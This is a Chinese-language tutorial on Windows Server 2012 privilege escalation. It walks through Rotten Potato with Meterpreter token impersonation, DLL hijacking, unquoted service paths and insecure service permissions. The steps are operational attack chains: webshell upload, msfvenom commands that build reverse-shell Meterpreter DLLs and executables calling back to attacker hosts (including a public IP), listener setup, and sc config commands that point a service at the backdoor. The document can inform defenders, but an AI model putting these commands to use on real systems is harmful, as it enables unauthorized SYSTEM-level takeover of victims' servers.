以下均在Windows 2012环境下做的测试

烂土豆提权

烂土豆配合令牌窃取提权(Web权限或数据库权限)

在webshell上面 上传烂土豆—>执行烂土豆—>利用窃取模块—>窃取SYSTEM—>成功

  1. 首先上传大马,拿到网站web权限,然后利用MSF生成的木马后门进行反弹shell。
  2. 反弹shell成功以后会发现权限为一个web服务的权限很低,这个时候如果直接用令牌窃取是无法窃取到system权限的(web服务权限过低),因此这里配合烂土豆进行权限提升。
  3. 在攻击者MSF上执行烂土豆程序。

image.png

  1. 接着在MSF上执行令牌窃取攻击,使用如下命令。

    1. use incognito #进入incognito模块
    2. list_tokens -u #列出令牌
    3. impersonate_token 'TEST\Administrator(具体令牌)'

    image.png

    dll劫持

    Windows程序启动的时候需要DLL库进行支持。如果这些DLL不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
    1、应用程序加载的目录
    2、C:\Windows\System32
    3、C:\Windows\System
    4、C:\Windows
    5、当前工作目录 Current Working Directory,CWD
    6、在 PATH 环境变量的目录(先系统后用户)

    dll劫持有两个利用条件:

    ①存在第三方软件
    ②第三方软件运行时加载的dll文件可重写、覆盖或者创建

    dll提权过程

    信息收集—>进程调试(本地火绒剑调试)—>制作 dll 并上传(MSF制作)—>替换 dll—>启动应用后成功

    信息搜集:

    查看目标服务器上有哪些第三方软件

    进程调试:

    使用火绒剑进行exe启动时的进程分析,查看加载了那些dll文件,查看签名文件即可,system类型的dll文件直接跳过,原因当然是权限问题(肯定重写、覆盖不了)….
    image.png

    制作dll文件:

    这里利用MSF生成恶意dll文件,使用如下命令:
    msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.169.46 lport=6677 -f dll >/opt/xiaodi.dll

    替换dll:

    将上一步中生成的dll文件替换目标服务器上的响应dll文件,直接覆盖即可

    启动应用:

    先在MSF上进行反弹shell的监听:

    1. msfconsole
    2. use exploit/multi/handler
    3. set payload windows/meterpreter/reverse_tcp
    4. set lhost 0.0.0.0
    5. set lport 6677
    6. exploit

    然后通过大马直接cmd启动第三方软件的exe文件,即可反弹shell成功。

    不带引号服务路径配合MSF-Web(本地权限)

    原理

    当 Windows 服务运行时,会发生以下两种情况之一:

  2. 如果给出了可执行文件,并且引用了完整路径(引号括起来的绝对路径),则系统会按字面解释它并执行。

image.png

  1. 服务的二进制路径未包含在引号中,则操作系统将会执行第一个空格前的程序,第一个空格后面的部分 则会当作参数。

example
有一个服务a.exe,他的可执行文件的路径是“C:\Program Files\a.exe”,路径被包含在引号中,则系统会正常解释并执行它,但是如果可执行文件的路径是C:\Program Files\a.exe,未被包含在引号中,则操作系统会执行空格之前的C:\Program,而将空格之后的 Files\a.exe当做参数,导致漏洞利用点产生。
image.png

引号路径漏洞提权过程

检测无引号服务路径—>利用路径制作文件并上传—>启用服务或重启—>调用后成功

检测无引号服务路径:

使用命令进行检测: wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

Webshell利用:
image.png
本地利用:
image.png

利用路径制作文件并上传:

使用MSF制作一个后门,命名为Program.exe,上传到目标服务器C盘根目录

后门生成命令: msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.113 lport=4444 -f exe >Program.exe

image.png

启用服务或重启:

启动服务。可以在webshell中或者本地启动服务。但是测试时,webshell中启动不了,所以不带引号服务路径提权方法还是多用于本地提权

启动服务使用命令:sc start “服务名”

本地手动启动:
image.png

调用后提权成功:

MSF监听到会话,提权成功。
image.png
服务停止或者崩溃,权限也就没了。

不安全的服务权限配合MSF(本地权限)

原理

当服务路径设置没有问题时,如果服务权限设置不当也会产生安全问题。真实环境下,如果服务的管理配置不当导致用户存在过大的权限,那么就可以修改服务指向的exe文件。

提权过程

检测当前用户权限服务情况—>制作文件并上传—>更改服务对应exe文件指向—>调用后成功

检测服务权限情况:

执行命令,检测当前用户所在组的服务权限(实战中一般都不是administrators组,这里仅做测试用,实战中一般是users等),列出的都是当前用户可以操作的服务。
使用命令:accesschk.exe -uwcqv "administrators" *
image.png
image.png

制作文件并上传:

使用MSF制作一个后门,命名为Program.exe,上传到目标服务器C盘根目录

后门生成命令: msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.113 lport=4444 -f exe >Program.exe

image.png

更改服务对应exe文件指向:

执行命令更改服务路径指向:
sc config "NewServiceName(服务名)" binpath="C:\Program.exe(想要服务指向的exe文件路径)"
image.png
更改成功:
image.png

调用后提权成功:

MSF监听到会话,提权成功。
image.png